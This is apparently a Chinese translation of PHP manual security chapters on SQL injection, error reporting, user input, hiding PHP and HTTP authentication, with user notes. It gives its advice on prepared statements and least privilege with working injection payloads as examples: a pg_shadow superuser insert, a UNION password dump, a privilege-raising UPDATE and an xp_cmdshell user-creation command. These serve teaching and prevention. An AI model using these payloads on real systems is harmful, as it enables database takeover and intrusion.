SQL 注入是一种攻击技术，攻击者利用应用程序代码中构建动态 SQL 查询的缺陷。攻击者可以访问应用程序的特权部分，从数据库检索所有信息，篡改现有数据，甚至在数据库主机上执行危险的系统级命令。当开发人员在他们的 SQL 语句中连接或插入任意输入时，这种漏洞就会发生。

Example #1 将结果集切割成页面......并创建超级用户（PostgreSQL）。

在下面的示例中，用户输入直接插入到 SQL 查询中，使得攻击者能够在数据库中获得超级用户账户。

<?php

$offset = $_GET['offset']; // 注意，没有输入验证！
$query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn, $query);

?>
普通用户会点击"上一页"、"下一页"，$offset 已经编码到 URL 的链接。脚本期望传入的 $offset 是数字。然而，如果有人尝试把以下语句追加入 URL 中的话：
0;
insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)
    select 'crack', usesysid, 't','t','crack'
    from pg_shadow where usename='postgres';
--
如果发生，脚本将向攻击者提供超级用户访问权限。注意那个 0; 是为了向原始查询提供有效的偏移量并终止。

Note:

这是常见的技术，使用 SQL 中的注释符号 --，强制 SQL 解析器忽略开发者编写的查询的其余部分。

获取密码的一种可行方式是欺骗搜索结果页面。攻击者只需查看是否有已提交的未经适当处理变量在 SQL 语句中使用。这些过滤器通常可以在先前的表单中设置，以定制 SELECT 语句中的 WHERE、ORDER BY、LIMIT 和 OFFSET 子句。如果数据库支持 UNION 构造，攻击者可能会尝试将整个查询附加到原始查询中，以从任意表中列出密码。强烈建议仅存储密码的安全散列值，而不是密码本身。

Example #2 列出文章......以及一些密码（任何数据库服务器）

<?php

$query = "SELECT id, name, inserted, size FROM products
WHERE size = '$size'";
$result = odbc_exec($conn, $query);

?>
查询的静态部分可以与另一个 SELECT 语句组合来显示所有密码：
'
union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;
--

UPDATE 和 INSERT 语句也容易受到这种攻击的影响。

Example #3 从重置密码......到获得更多权限（任何数据库服务器）

<?php
$query = "UPDATE usertable SET pwd='$pwd' WHERE uid='$uid';";
?>
如果恶意的用户提交值 ' or uid like'%admin% 给 $uid 来改变 admin 的密码，或者简单设置 $pwd 为 hehehe', trusted=100, admin='yes 去获得更多权限，然后查询语句实际上就变成了：
<?php

// $uid: ' or uid like '%admin%
$query = "UPDATE usertable SET pwd='...' WHERE uid='' or uid like '%admin%';";

// $pwd: hehehe', trusted=100, admin='yes
$query = "UPDATE usertable SET pwd='hehehe', trusted=100, admin='yes' WHERE
...;";

?>

虽然攻击者必须具备至少一些关于数据库架构的知识才能进行成功的攻击，但获取这些信息通常非常简单。例如代码可以是开源软件的一部分并且公开可用。这些信息也可能通过闭源代码泄露——即使它经过了编码、混淆或编译——甚至通过自己的代码显示错误消息来泄露。其他方法包括使用典型的 table 和列名。例如，使用"users" table 和列名"id"、"username"和"password"的登录表单。

Example #4 攻击数据库主机操作系统（MSSQL Server）

一种可怕的示例是一些数据库主机上可以访问操作系统级别的命令。

<?php

$query = "SELECT * FROM products WHERE id LIKE '%$prod%'";
$result = mssql_query($query);

?>
如果攻击者提交 a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- 作为变量 $prod 的值，那么 $query 将会变成
<?php

$query = "SELECT * FROM products
WHERE id LIKE '%a%'
exec master..xp_cmdshell 'net user test testpass /ADD' --%'";
$result = mssql_query($query);

?>
MSSQL Server 执行批处理中的 SQL 语句，其中包括向本地账户数据库添加新用户的命令。如果该应用程序以 sa 身份运行，并且 MSSQLSERVER 服务以足够的权限运行，则攻击者现在将拥有一个账户，可以用此账户访问这台机器。

Note:

以上的一些示例与特定的数据库服务器相关联，这并不意味着不能对其他产品进行类似的攻击。用户的数据库服务器可能以其他方式同样存在漏洞。

关于 SQL 注入问题的有趣示例
图片由 » xkcd 提供

预防措施

避免 SQL 注入的推荐方法是通过使用预处理语句绑定所有数据。仅仅使用参数化查询并不能完全避免 SQL 注入，但它是提供输入给 SQL 语句的最简单和最安全的方式。在 WHERE、SET 和 VALUES 子句中，所有动态数据常量都必须替换为占位符。实际数据将在执行过程中进行绑定，并与 SQL 命令分开发送。

参数绑定只能用于数据。SQL 查询的其他动态部分必须根据已知的允许值列表进行筛选。

Example #5 通过使用 PDO 预处理语句来避免 SQL 注入

<?php

// The dynamic SQL part is validated against expected values
$sortingOrder = $_GET['sortingOrder'] === 'DESC' ? 'DESC' : 'ASC';
$productId = $_GET['productId'];
// The SQL is prepared with a placeholder
$stmt = $pdo->prepare("SELECT * FROM products WHERE id LIKE ? ORDER BY price {$sortingOrder}");
// The value is provided with LIKE wildcards
$stmt->execute(["%{$productId}%"]);

?>

预处理语句由 PDO、MySQLi 和其他数据库库提供。

SQL 注入攻击主要是基于利用代码在编写时没有考虑安全性。永远不要相信任何输入，特别是来自客户端的输入，即使它来自于选择框、隐藏的输入字段或 cookie。第一个示例表明，即使是如此简单的查询也可能带来灾难。

深度防御策略涉及几种良好的编程实践：

  • 永远不要以超级用户或数据库所有者的身份连接到数据库。始终使用具有最低权限的自定义用户。
  • 检查指定输入是否具有预期的数据类型。PHP 拥有很多输入验证函数，从最简单的变量函数和字符类型函数（例如 is_numeric()、ctype_digit()）到支持 Perl 兼容正则表达式的函数。
  • 如果应用程序期望数字输入，可以考虑使用 ctype_digit() 验证数据，使用 settype()更改其类型，或者使用 sprintf() 打印其数字表示形式。
  • 如果数据库层不支持绑定变量，则应使用特定于数据库的字符串转义函数（例如 mysql_real_escape_string()、sqlite_escape_string() 等）对传递给数据库的用户提供的非数字值进行转义。通用的函数如 addslashes() 只在非常特定的环境中有用（例如在禁用了 NO_BACKSLASH_ESCAPES 的单字节字符集 MySQL），因此最好避免使用它们。
  • 请勿以正当或非正当手段打印出任何特定于数据库的信息，特别是关于 schema 的信息。另请参阅错误报告和错误处理以及日志记录函数。

除此之外，如果数据库支持日志记录，还可以从脚本里或通过数据库自身记录查询语句。显然，日志记录无法阻止任何有害尝试，但它可以帮助追踪绕过了哪个应用程序。日志本身并没有用处，但通过其中包含的信息可以得到帮助。通常情况下，更详细的信息比较少的信息更好。

User Contributed Notes

Richard dot Corfield at gmail dot com 18-Nov-2011 02:01
The best way has got to be parameterised queries. Then it doesn't matter what the user types in the data goes to the database as a value.

A quick search online shows some possibilities in PHP which is great! Even on this site - http://php.net/manual/en/pdo.prepared-statements.php
which also gives the reasons this is good both for security and performance.


错误报告

对于 PHP 的安全性来说错误报告是一把双刃剑。一方面可以提高安全性，另一方面又有害。

攻击系统时经常使用的手法就是输入不正确的数据，然后查看错误提示的类型及上下文。这样做有利于攻击者收集服务器的信息以便寻找弱点。比如说，如果一个攻击者知道了一个页面所基于的表单信息，那么他就会尝试修改变量：

Example #1 用自定义的 HTML 页面攻击变量

<form method="post" action="attacktarget?username=badfoo&amp;password=badfoo">
<input type="hidden" name="username" value="badfoo" />
<input type="hidden" name="password" value="badfoo" />
</form>

通常 PHP 所返回的错误提示都能帮助开发者调试程序，它会提出哪个文件的哪些函数或代码出错，并指出错误发生的在文件的第几行，这些就是 PHP 本身所能给出的信息。很多 PHP 开发者会使用 show_source()、highlight_string() 或者 highlight_file() 函数来调试代码，但是在正式运行的网站中，这种做法可能会暴露出隐藏的变量、未检查的语法和其它的可能危及系统安全的信息。在运行一些具有内部调试处理的程序，或者使用通用调试技术是很危险的。如果让攻击者确定了程序是使用了哪种具体的调试技术，他们会尝试发送变量来打开调试功能：

Example #2 利用变量打开调式功能

<form method="post" action="attacktarget?errors=Y&amp;showerrors=1&amp;debug=1">
<input type="hidden" name="errors" value="Y" />
<input type="hidden" name="showerrors" value="1" />
<input type="hidden" name="debug" value="1" />
</form>

不管错误处理机制如何，可以探测系统错误的能力会给攻击者提供更多信息。

比如说，PHP 的独有的错误提示风格可以说明系统在运行 PHP。如果攻击者在寻找一个 .html 为页面，想知道其后台的技术（为了寻找系统弱点），他们就会把错误的数据提交上去，然后就有可以得知系统是基于 PHP 的了。

一个函数错误就可能暴露系统正在使用的数据库，或者为攻击者提供有关网页、程序或设计方面的有用信息。攻击者往往会顺藤摸瓜地找到开放的数据库端口，以及页面上某些 bug 或弱点等。比如说，攻击者可以一些不正常的数据使程序出错，来探测脚本中认证的顺序（通过错误提示的行号数字）以及脚本中其它位置可能泄露的信息。

一个文件系统或者 PHP 的错误就会暴露 web 服务器具有什么权限，以及文件在服务器上的组织结构。开发者自己写的错误代码会加剧此问题，导致泄漏了原本隐藏的信息。

有三个常用的办法处理这些问题。第一个是彻底地检查所有函数，并尝试弥补大多数错误。第二个是对在线系统彻底关闭错误报告。第三个是使用 PHP 自定义的错误处理函数创建自己的错误处理机制。根据不同的安全策略，三种方法可能都适用。

一个能提前阻止这个问题发生的方法就是利用 error_reporting() 来帮助使代码更安全并发现变量使用的危险之处。在发布程序之前，先打开 E_ALL 测试代码，可以帮你很快找到变量使用不当的地方。一旦准备正式发布，就应该把 error_reporting() 的参数设为 0 来彻底关闭错误报告或者把 php.ini 中的 display_errors 设为 off 来关闭所有的错误显示以将代码隔绝于探测。当然，如果要迟一些再这样做，就不要忘记打开 ini 文件内的 log_errors 选项，并通过 error_log 指定用于记录错误信息的文件。

Example #3 用 E_ALL 来查找危险的变量

<?php
if ($username) { // Not initialized or checked before usage
$good_login = 1;
}
if ($good_login == 1) { // If above test fails, not initialized or checked before usage
readfile ("/highly/sensitive/data/index.html");
}
?>

User Contributed Notes

earlz- -NO SPAM-- at earlz dot biz DOT tm 04-Feb-2009 02:11
Note for those of you using OpenBSD and PHP.  The default php.ini has display_errors=off . This is contrary to the PHP default of display_errors=on . If your having trouble seeing errors on OpenBSD make sure to edit your php.ini to have display_errors=on. (I had this problem on OpenBSD 4.4)


用户提交的数据

很多 PHP 程序所存在的重大弱点并不是 PHP 语言本身的问题，而是编程者的安全意识不高而导致的。因此，必须时时注意每一段代码可能存在的问题，去发现非正确数据提交时可能造成的影响。

Example #1 危险的变量用法

<?php
// 从用户目录中删除一个文件，或者......能删除更多的东西？
unlink ($evil_var);

// 记录用户的登陆，或者......能否在 /etc/passwd 添加数据？
fwrite ($fp, $evil_var);

// 执行一些普通的命令，或者......可以执行 rm -rf * ？
system ($evil_var);
exec ($evil_var);

?>

必须时常留意你的代码，以确保每一个从客户端提交的变量都经过适当的检查，然后问自己以下一些问题：

  • 此脚本是否只能影响所预期的文件？
  • 非正常的数据被提交后能否产生作用？
  • 此脚本能用于计划外的用途吗？
  • 此脚本能否和其它脚本结合起来做坏事？
  • 是否所有的事务都被充分记录了？
在写代码的时候问自己这些问题，否则以后可能要为了增加安全性而重写代码了。注意了这些问题的话，也许还不完全能保证系统的安全，但是至少可以提高安全性。

还可以考虑关闭 register_globals，magic_quotes 或者其它使编程更方便但会使某个变量的合法性，来源和其值被搞乱的设置。在使用 PHP 开发时，可以使用 error_reporting(E_ALL) 模式帮助检查变量使用前是否有被检查或被初始化，这样就可以防止某些非正常的数据的挠乱了。

User Contributed Notes

Livingstone@stonyhills[dot]com 02-Feb-2008 04:51
making sure your form is submitted from your page! Could also be adapted to url, by additing &token to the query string and checking this against session data(or what ever array you like) with $_GET, not that this string is randomly generated and stored. If you like you could build your own array to store the generated string if you dont want to use $_SESSION, say you could make yours like $tokens = array(), and in your easysecure class you store all the stuff in that array!

<?php

class easysecure {

    var $curr_user;
    var $curr_permission;
    var $curr_task;
    var $validpermission;
    var $error;

    function &setVar( $name, $value=null ) {
        if (!is_null( $value )) {
            $this->$name = $value;
        }
        return $this->$name;
    }

    function maketoken($formname, $id){

        $token = md5(uniqid(rand(), true));

        $_SESSION[$formname.$id] = $token;

        return $token;
    }

    function checktoken($token, $formname, $id){
        //print_r($_SESSION);
        //echo ($token);
        //if we dont have a valid token, return invalid;
        if(!$token){
            $this->setVar('validpermission', 0);
            $this->setVar('error', 'no token found, security bridgedetected');
            return false;
        }

        //if we have a valid token check that is is valid
        $key = $_SESSION[$formname.$id];
        if($key !== $token ){
            $this->setVar('validpermission', 0);
            $this->setVar('error', 'invalid token');
            return false;
        }

        if($this->validpermission !==1){
              echo 'invalid Permissions to run this script';
              return false;
        }else{
            return true;
        }
    }

}

?>

<?php $userid = *** //make it what ever id you like ?>
<form name="newform" action="index.php" method="post">
<input type="text" name="potentialeveilfield" value="" size 30 />
<input type="hidden" name="token" value="<?php echo maketoken(newform, $userid); //$userid here could be user profile id ?>" />
<input type="submit" />
</form>

Now when processing the form... check the value of your token

<?php

//well you know the form name
if(!checktoken($_POST['token'], 'newform', $userid))
{ //failed
exit(); //or what ever termination and notification method best suits you.
//you could also design the class your way to get more accurate fail (error messages from the var)
}

//you can now continue with input data clean up (validation)

?>
Uli Kusterer 13-Sep-2005 03:50
One thing I would repeat in the docs here is what information actually comes from the user. Many people think a Cookie, since it's written by PHP, was safe. But the fact is that it's stored on the user's computer, transferred by the user's browser, and thus very easy to manipulate.

So, it'd be handy to mention here again that:

CGI parameters in the URL, HTTP POST data and cookie variables are considered "user data" and thus need to be validated. Session data and SQL database contents only need to be validated if they came from untrustworthy sources (like the ones just mentioned).

Not new, but I would have expected this info under this headline, at least as a short recap plus linlk to the actual docs.


隐藏 PHP

一般而言，通过隐藏来实现安全是最脆弱的安全方式之一。但在某些情况下，每一点额外的安全都是值得的。

一些简单的方法可以帮助隐藏 PHP，这可能会减慢攻击者试图找到系统弱点的速度。 通过在 php.ini 文件中设置 expose_php 为 off， 可以减少能获得的有用信息。

另一个策略是配置 web 服务器（例如 apache）通过 PHP 解析不同的文件类型， 无论是通过 .htaccess 文件还是 apache 的配置文件，都可以设置能误导攻击者的文件扩展名：

Example #1 把 PHP 隐藏为另一种语言

# 使 PHP 代码看起来像其他代码类型
AddType application/x-httpd-php .asp .py .pl
或者干脆彻底隐藏它：

Example #2 使用未知的扩展名作为 PHP 的扩展名

# 使 PHP 代码看起来像未知的类型
AddType application/x-httpd-php .bop .foo .133t
或者隐藏它为 HTML 代码，这样会有轻微的性能影响，因为所有的 HTML 都将通过 PHP 引擎进行解析：

Example #3 使用 HTML 作为 PHP 扩展名

# 使所有的 PHP 代码看起来像 HTML
AddType application/x-httpd-php .htm .html
要让此方法生效，必须把 PHP 文件的扩展名改为以上的扩展名。这样就通过隐藏来提高了安全性，这是一个小的预防措施，几乎没有缺点。

User Contributed Notes

Sajith Karunatilake @ 26-Jan-2023 09:24
Just hiding it doesn't look like good "security" if the code itself is flawed. At the end of the day the code has to run regardless of its file extension. There could be some advantages to this. But it does not prevent someone (who is not a script-kiddie or some kind of automated bot) from exploiting the flaws in the code.

Just a thought.

Just leaving this comment to prevent a beginner from using this as a legitimate security measure (assuming they read documentation). Cool feature though.
omolewastephen at gmail dot com 04-Jan-2018 10:03
I used this on my site and it works great for me

# RewriteEngine on

# Rewrite /foo/bar to /foo/bar.php
# RewriteRule ^([^.?]+)$ %{REQUEST_URI}.php [L]

# Return 404 if original request is /foo/bar.php
# RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$"
# RewriteRule .* - [L,R=404]

# NOTE! FOR APACHE ON WINDOWS: Add [NC] to RewriteCond like this:
# RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$" [NC]
info at frinteractives dot com 02-Jul-2015 10:42
try this
RewriteEngine On

# Unless directory, remove trailing slash
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^([^/]+)/$ http://example.com/folder/$1 [R=301,L]

# Redirect external .php requests to extensionless url
RewriteCond %{THE_REQUEST} ^(.+)\.php([#?][^\ ]*)?\ HTTP/
RewriteRule ^(.+)\.php$ http://example.com/folder/$1 [R=301,L]

# Resolve .php file for extensionless php urls
RewriteRule ^([^/.]+)$ $1.php [L]
anon at example dot com 23-Dec-2013 10:48
The session name defaults to PHPSESSID.  This is used as the name of the session cookie that is sent to the user's web browser / client. (Example: PHPSESSID=kqjqper294faui343o98ts8k77).

To hide this, call session_name() with the $name parameter set to a generic name, before calling session_start().  Example:

session_name("id");
session_start();

Cheers.
Ryan 30-Oct-2011 06:22
Another way to hide php is by removing the extension completely, like so:

Options +FollowSymlinks
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}.php -f
RewriteRule ^(.+)$ /$1.php [L,QSA]

Hope this helps!
CD001 21-Jul-2010 09:03
It's a good idea to "hide" PHP anyway so you can write a RESTful web application.

Using Apache Mod Rewrite:

RewriteEngine On
RewriteRule ^control/([^/]+)/(.*)$ sitecontroller.php?control=$1&query=$2

You then use a function like the following as a way to retrieve data (in a zero indexed fashion) from the $_GET superglobal.

<?php
function myGET() {
  $aGet = array();

  if(isset($_GET['query'])) {
    $aGet = explode('/', $_GET['query']);
  }

  return $aGet;
}
?>

This is only a really basic example of course - you can do a lot with Mod Rewrite and a custom 'GET' function.
sandaimespaceman at gmail dot com 26-Oct-2008 04:51
Set INI directive "expose_php" to "off" will also help.
You can spoof your PHP to ASP.NET by using:
<?php
error_reporting(0);
header("X-Powered-By: ASP.NET");
?>
Pyornide 10-Oct-2008 05:57
The idea of hiding the X-Powered-By in PHP is a flawed attempt at establishing security. As the manual indicates, obscurity is not security. If I were exploiting a site, I wouldn't check what scripting language the site runs on, because all that would matter to me is exploiting it. Hiding the fact that you use [x] language isn't going to prevent me from bypassing poor security.
Raz 24-Sep-2007 03:07
May some servers not allow you to put this line (i.e this not work)

AddType application/x-httpd-php .asp .py .pl
or
DefaultType application/x-httpd-php

so, the alternative method that really a good one is:

1- In your .htaccess file write:

RewriteEngine  on
RewriteBase  /dire/ or just /
RewriteRule  securename   yourfile\.php  [T=application/x-httpd-php]

example: all url like
www.example.com/securename  parsed as
www.example.com/yourfile.php

2- but here the $_GET not work, but $_POST work, so for dynamic pages like
www.example.com/yourfile.php?page=1 you use
www.example.com/securename?page=1

now: instead of using $_GET use
<?php
$uri         = $_SERVER['REQUEST_URI'];
$page        = strstr($uri, '=');
$page        = substr($page, 1);
$valid_pages = array('1', '2','...');
$page        = in_array($page, $valid_pages) ? $page : '1';
//....
?>

and for bad URL you can add this code to .htaccess file
of coarse below the first code in .htaccess
#--
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^.*$ http://www.example.com/securename [L]
rustamabd at google mail 26-Jan-2007 12:05
So far I haven't seen a working rewriter of /foo/bar into /foo/bar.php, so I created my own. It does work in top-level directory AND subdirectories and it doesn't need hardcoding the RewriteBase.

.htaccess:

RewriteEngine on

# Rewrite /foo/bar to /foo/bar.php
RewriteRule ^([^.?]+)$ %{REQUEST_URI}.php [L]

# Return 404 if original request is /foo/bar.php
RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$"
RewriteRule .* - [L,R=404]

# NOTE! FOR APACHE ON WINDOWS: Add [NC] to RewriteCond like this:
# RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$" [NC]
simon at carbontwelevedesign dot co dot uk 10-Aug-2006 05:31
I use the following in the .htaccess document

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

then the following simple code

<?php

$permalinks = explode("/",$_SERVER['REQUEST_URI']);

$varone = $permalinks[1];
$vartwo = $permalinks[2];

...

?>
marpetr at NOSPAM dot gmail dot com 11-Apr-2006 05:18
I think the best way to hide PHP on Apache and Apache itself is this:

httpd.conf
-------------
# ...
# Minimize 'Server' header information
ServerTokens Prod
# Disable server signature on server generated pages
ServerSignature Off
# ...
# Set default file type to PHP
DefaultType application/x-httpd-php
# ...

php.ini
------------
; ...
expose_php = Off
; ...

Now the URLs will look like this:
http://my.server.com/forums/post?forumid=15

Now hacker knows only that you are using Apache.
jtw90210 30-Jun-2005 01:19
In order to get the PATH_INFO to work in order to pass parameters using a hidden program/trailing slash/"pretty url" in more recent versions of PHP you MUST add "AcceptPathInfo On" to your httpd.conf.

AddType application/x-httpd-php .php .html
AcceptPathInfo On

Try it out with your phpinfo page and you'll be able to search for PATH_INFO.

http://example.com/myphpinfo.php/showmetheway

If you want to drop the .php use one or both of these:
DefaultType application/x-httpd-php
ForceType application/x-httpd-php
benjamin at sonntag dot fr 24-May-2005 09:14
In response to the previous messages, for apache, there is a easier way to set files without "." to be executed by PHP, just put this in a ".htaccess" file :

DefaultType  application/x-httpd-php
php at vfmedia dot de 15-Jun-2004 06:21
I?ve found an easy way to hide php code and the uri is searchable by google and others...(only for unix or linux)

At first I have some rules in my hide.conf (i made an extra .conf for it (apache 2.0))

For example when I want to mask the index.php

<Files index>
 ForceType application/x-httpd-php
 </Files>

My problem is, that my code should be readable...

so I made an extra folder for example srv/www/htdocs/static_output

My phpcode is in the includefolder....(for ex. mnt/source/index.php)

Then I made a link in the shell  > ln mnt/source/index.php srv/www/htdocs/static_output/index

So the code is readable (with .php extension) in my includefolder and there is only the link in the srv folder without extension(which is called by the browser...).
12-May-2004 08:20
Keep in mind, if your really freaked out over hiding PHP, GD will expose you.

Go ahead - make an image with GD and open with a text editor.. Somewhere in there you'll see a comment with gd & php all over it.
php at user dot net 10-Apr-2004 06:36
What about this in a .htaccess file :

RewriteEngine on
RewriteRule    ^$    /index.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)/$    /$1/index.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)\.(html|htm)$    /$1.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)$    /$1.php    [L]

Typing "sub.domain.foo/anything" loads "/anything/index.php" if 'anything' is a directory, else it loads "/anything.php".

I'm sure you can find mutch better, but it works great on my site :)
mmj 14-Mar-2004 05:58
You can see if somebody's using PHP just by adding the following to the end of the URL:
?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
If the page is using PHP, this will show the PHP credits.

Setting expose_php to Off in php.ini prevents this.
ldemailly at qualysNOSPAM dot com 27-Oct-2003 08:17
adding MultiViews to your apache Options config
lets you hide/omit .php in the url without any rewriting, etc...
l0rdphi1 at liquefyr dot com 21-Jul-2003 04:02
More fun includes files without file extensions.

Simply add that ForceType application/x-httpd-php bit to an Apache .htaccess and you're set.

Oh yea, it gets even better when you play with stuff like the following:

<?php
substr($_SERVER['PATH_INFO'],1);
?>

e.g. www.example.com/somepage/55

And:

<?php
foreach ( explode('/',$_SERVER['PATH_INFO']) as $pair ) {
    list($key,$value) = split('=',$pair,2);
    $param[$key] = stripslashes($value);
}
?>

e.g. www.example.com/somepage/param1=value1/param2=value2/etc=etc

Enjoy =)
Bryce Nesbitt at Obviously.COM 27-Mar-2003 08:24
Using the .php extension for all your scripts is not necessary, and in fact can be harmful (by exposing too much information about your server, and by limiting what you can do in the future without breaking links). There are several ways to hide your .php script extension:

(1) Don't hard code file types at all.  Don't specify any dots, and most web servers will automatically find your .php, .html, .pdf, .gif or other matching file. This is called canonical URL format:
     www.xxxxxx.com/page
    www.xxxxxx.com/directory/
This gives you great flexibility to change your mind in the future, and prevents Windows browsers from making improper assumptions about the file type.

(2) In an Apache .htaccess file use:
    RewriteEngine on
    RewriteRule page.html page.php

(3) Force the webserver to interpret ALL .html files as .php:
    AddType application/x-httpd-php .php3 .php .html
29-Jan-2003 10:53
PS. If you want to use pretty URLs (i.e. hide your .php extensions) AND you have safe-mode=on, the previous example (ForceType) won't work for you.  The problem is that safe-mode forces Apache to honor trailing characters in a requested URL.  This means that:

http://www.example.com/home

would still be processed by the home script in our doc root, but for:

http://www.example.com/home/contact_us.html

apache would actually look for the /home/contact_us.html file in our doc root.

The best solution I've found is to set up a virtual host (which I do for everything, even the default doc root) and override the trailing characters handling within the virtual host.  So, for a virtual host listening on port 8080, the apache directives would look like this:

<VirtualHost *:8080>
    DocumentRoot /web/doc_root
    Alias /home "/web/doc_root/home.php"
    AcceptPathInfo On
</VirtualHost>

Some people might question why we are overriding the trailing characters handling (with the AcceptPathInfo directive) instead of just turning safe-mode=off.  The reason is that safe mode sets global limitations on the entire server, which can then be turned on or left off for each specific virtual host.  This is the equivilent of blocking all connections on a firewall, and then opening up only the ones you want, which is a lot safer than leaving everything open globally, and assuming your programmers will never overlook a possible security hole.
sth at panix dot com 04-Aug-2002 12:45
The flipside to this is, if you're running a version of
PHP/Apache which is not known to have exploitable bugs (usually the latest stable version at the time), and an attacker sees this, they may give up before even trying. If they don't, they may continue to attempt their exploit(s).

It really depends on the type of attacker. The educated, security advisory reading attacker vs. script kiddie on the street.

If you're keeping up on patches, version exposition should not be a problem for you.
m1tk4 at hotmail dot com 22-Jul-2002 05:53
I usually do:

<code>
RewriteEngine on<br>
RewriteOptions inherit<br>
RewriteRule (.*)\.htm[l]?(.*) $1.php$2 [nocase]<br>
</code>

in .htaccess. You'll need mod_rewrite installed for this .
yasuo_ohgaki at yahoo dot com 26-Jan-2002 03:59
To hide PHP, you need following php.ini settings

expose_php=Off
display_errors=Off

and in httpd.conf

ServerSignature Off
(min works, but I prefer off)
istvan dot takacsNOSPAM at hungax dot com 30-Dec-2001 09:42
And use the
ServerTokens min
directive in your httpd.conf to hide installed PHP modules in apache.


保持更新

PHP 和其它的大型系统一样，在持续不断的详细审查和改进过程中。 每个新版本常常将会包含主要和次要的改变以增强安全性、修复任何缺陷、配置问题以及将会影响整个系统安全性和稳定性的其他问题。

和其它系统级别的脚本语言和程序一样，最好的方法是经常更新，并保持对最新版本和及其更改的了解。

User Contributed Notes

There are no user contributed notes for this page.


特点

  • 用 PHP 进行 HTTP 认证
  • Cookie
  • 会话
  • 处理 XForms
  • 文件上传处理
    • POST 方法上传
    • 错误信息说明
    • 常见缺陷
    • 上传多个文件
    • 对 PUT 方法的支持
    • 参见
  • 使用远程文件
  • 连接处理
  • 持久数据库连接
  • PHP 的命令行模式
    • 如何得知自己使用的是哪个 SAPI？
    • 和其它 SAPI 模块的区别
    • 选项 — 命令行选项
    • 用法 — 执行 PHP 文件
    • I/O 流 — 输入输出流
    • 交互式 shell
    • 内置Web Server
    • INI 配置
  • 垃圾回收
    • 引用计数基础
    • 回收循环
    • 性能方面考虑的因素
  • DTrace 动态跟踪
    • PHP 和 DTrace 介绍
    • 使用 PHP 和 DTrace
    • 使用 SystemTap 监控 PHP DTrace 静态探针

User Contributed Notes

There are no user contributed notes for this page.


用 PHP 进行 HTTP 认证

可以用 header() 函数来向客户端浏览器发送"Authentication Required"信息，使其弹出一个用户名／密码输入窗口。当用户输入用户名和密码后，包含有 URL 的 PHP 脚本将会加上预定义变量 PHP_AUTH_USER，PHP_AUTH_PW 和 AUTH_TYPE 被再次调用，这三个变量分别被设定为用户名，密码和认证类型。预定义变量保存在 $_SERVER 数组中。仅 支持 "Basic" 和 "Digest" 认证方法。 请参阅 header() 函数以获取更多信息。

以下是在页面上强迫客户端认证的脚本范例：

Example #1 Basic HTTP 认证范例

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
}
?>

Example #2 Digest HTTP 认证范例

本例演示怎样实现一个简单的 Digest HTTP 认证脚本。更多信息请参考 » RFC 2617。

<?php
$realm = 'Restricted area';

//user => password
$users = array('admin' => 'mypass', 'guest' => 'guest');

if (empty($_SERVER['PHP_AUTH_DIGEST'])) {
header('HTTP/1.1 401 Unauthorized');
header('WWW-Authenticate: Digest realm="'.$realm.
'",qop="auth",nonce="'.uniqid().'",opaque="'.md5($realm).'"');

die('Text to send if user hits Cancel button');
}

// analyze the PHP_AUTH_DIGEST variable
if (!($data = http_digest_parse($_SERVER['PHP_AUTH_DIGEST'])) ||
!isset($users[$data['username']]))
die('Wrong Credentials!');

// generate the valid response
$A1 = md5($data['username'] . ':' . $realm . ':' . $users[$data['username']]);
$A2 = md5($_SERVER['REQUEST_METHOD'].':'.$data['uri']);
$valid_response = md5($A1.':'.$data['nonce'].':'.$data['nc'].':'.$data['cnonce'].':'.$data['qop'].':'.$A2);

if ($data['response'] != $valid_response)
die('Wrong Credentials!');

// ok, valid username & password
echo 'You are logged in as: ' . $data['username'];

// function to parse the http auth header
function http_digest_parse($txt)
{
// protect against missing data
$needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
$data = array();
$keys = implode('|', array_keys($needed_parts));

preg_match_all('@(' . $keys . ')=(?:([\'"])([^\2]+?)\2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

foreach ($matches as $m) {
$data[$m[1]] = $m[3] ? $m[3] : $m[4];
unset($needed_parts[$m[1]]);
}

return $needed_parts ? false : $data;
}
?>

Note: 兼容性问题

在编写 HTTP 标头代码时请格外小心。为了对所有的客户端保证兼容性，关键字"Basic"的第一个字母必须大写为"B"，分界字符串必须用双引号（不是单引号）引用；并且在标头行 HTTP/1.0 401 中，在 401 前必须有且仅有一个空格。

在以上例子中，仅仅只打印出了 PHP_AUTH_USER 和 PHP_AUTH_PW 的值，但在实际运用中，可能需要对用户名和密码的合法性进行检查。或许进行数据库的查询，或许从 dbm 文件中检索。

注意有些 Internet Explorer 浏览器本身有问题。它对标头的顺序显得似乎有点吹毛求疵。目前看来在发送 HTTP/1.0 401 之前先发送 WWW-Authenticate 标头似乎可以解决此问题。

Note: 配置说明

PHP 用是否有 AuthType 指令来判断外部认证机制是否有效。

注意，这仍然不能防止有人通过未认证的 URL 来从同一服务器上认证的 URL 上偷取密码。

